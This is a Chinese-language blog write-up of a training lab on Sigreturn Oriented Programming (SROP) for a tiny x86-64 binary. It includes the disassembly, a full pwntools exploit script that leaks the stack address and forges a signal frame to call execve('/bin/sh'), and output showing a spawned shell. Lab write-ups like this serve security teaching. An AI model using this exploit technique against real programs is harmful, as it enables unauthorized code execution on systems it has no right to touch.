LYS Rop lab_srop Writeup

kazma 成大資安社 創辦人/社長

lab_srop

這次藉著到 AIS3 當助教的緣故順便跟 Curious 一起把 LYS ROP 系列課程的 lab 整理到了部落格,也方便給學員參考。

Srop

首先這次的 lab 跟前面會有比較大的差異,必須要來先介紹一下 srop 是什麼東東。
那 srop 的全名是 Sigreturn Oriented Programming,這個攻擊手法來自於 kernel 在做信號處理的時候,會把之前的狀態保存在 user mode 可以讀寫的地址中,所以當我們去調整 signal frame 為特定值的時候,這時候呼叫 rt_sigreturn 的系統調用就會開 shell。那 signal frame 的結構如下(截圖自 lys 簡報):
frame

Exploitation

那這次的程式超級超級簡單,不用看少什麼 rop gadget 了,我們什麼都沒有 w,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ objdump -M intel -d srop

srop: file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <.text>:
401000: 48 31 c0 xor rax,rax
401003: ba 00 04 00 00 mov edx,0x400
401008: 48 89 e6 mov rsi,rsp
40100b: 48 89 c7 mov rdi,rax
40100e: 0f 05 syscall
401010: c3 ret

這個程式跑起來會去執行 read(0, rsp, 0x400),也就是從 stdin 讀 0x400 到 rsp 上。

Find RSP

要算 rsp 最直接的方式就是直接跑起來進去 debug 看 stack 上的狀態然後找到適合的算一下差值就可以,需要注意的是有些差值是不固定的,所以可以多跑幾次確認,然後本地環境也需要盡量接近遠端,那這邊因為只是 lab 就偷懶只做本地了 XDD

Build Signal Frame

照 lys 的簡報乖乖填好:
execve
'/bin/sh\x00' 的位置可以透過直接 print(len(payload)) 來算出來

Call rt_sigreturn

要呼叫 r2_sigreturn 的話我們可以查詢 syscall.sh ,會發現這次要把 rax 填成 15,也就是要跟剛開始的手法一樣,輸入 15 個 bytes 控 rax,但因為輸入的東西會從 rsp 開始,所以我們要覆蓋一樣的東西上去,才不會打亂我們剛剛構造的 signal frame,那 read 的時候因為已經吃掉 8 個 bytes 也就是 0x401000 所以我們會輸入 p2[8:][:15],來確保 payload 不變,輸入後踩上 syscall 也就是 0x40100e 就會 call r2_sigreturn 搭配我們構造好的 signal frame 就會 call execve('/bin/sh\x00', 0, 0)

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import time

from pwn import *

context.arch = "amd64"
r = process("./srop")
# r = remote("35.229.243.81", 10106)

p = flat(0x401000, 0x401003, 0x401000)

r.send(p)
time.sleep(1)
# gdb.attach(r)
r.send(b"\x03")

r.recv(0x2A0)
rsp = u64(r.recv(8)) - 0x301
r.recv(0x158)
success("rsp -> %s" % hex(rsp))

p2 = flat(
0x401000, 0x40100E,
[0]*14,
rsp + 272,
[0]*5,
0x3B,
0,
0,
0x40100E,
[0]*4,
0x33,
[0]*8
)
# print(len(p2))
p2 += b"/bin/sh\x00"

r.send(p2)
time.sleep(1)
r.send(p2[8:][:15])
r.interactive()

Result

1
2
3
4
5
6
7
└─$ python exploit.py
[+] Starting local process './srop': pid 306520
[+] rsp -> 0x7ffd5dfea7a8
[*] Switching to interactive mode
$ id
uid=1000(kazma) gid=1000(kazma) groups=1000(kazma),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),116(bluetooth),129(scanner)
$

Pwned !!!

  • Title: LYS Rop lab_srop Writeup
  • Author: kazma
  • Created at : 2024-08-05 23:57:48
  • Updated at : 2024-08-06 13:33:03
  • Link: https://kazma.tw/2024/08/05/LYS-Rop-lab-srop-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments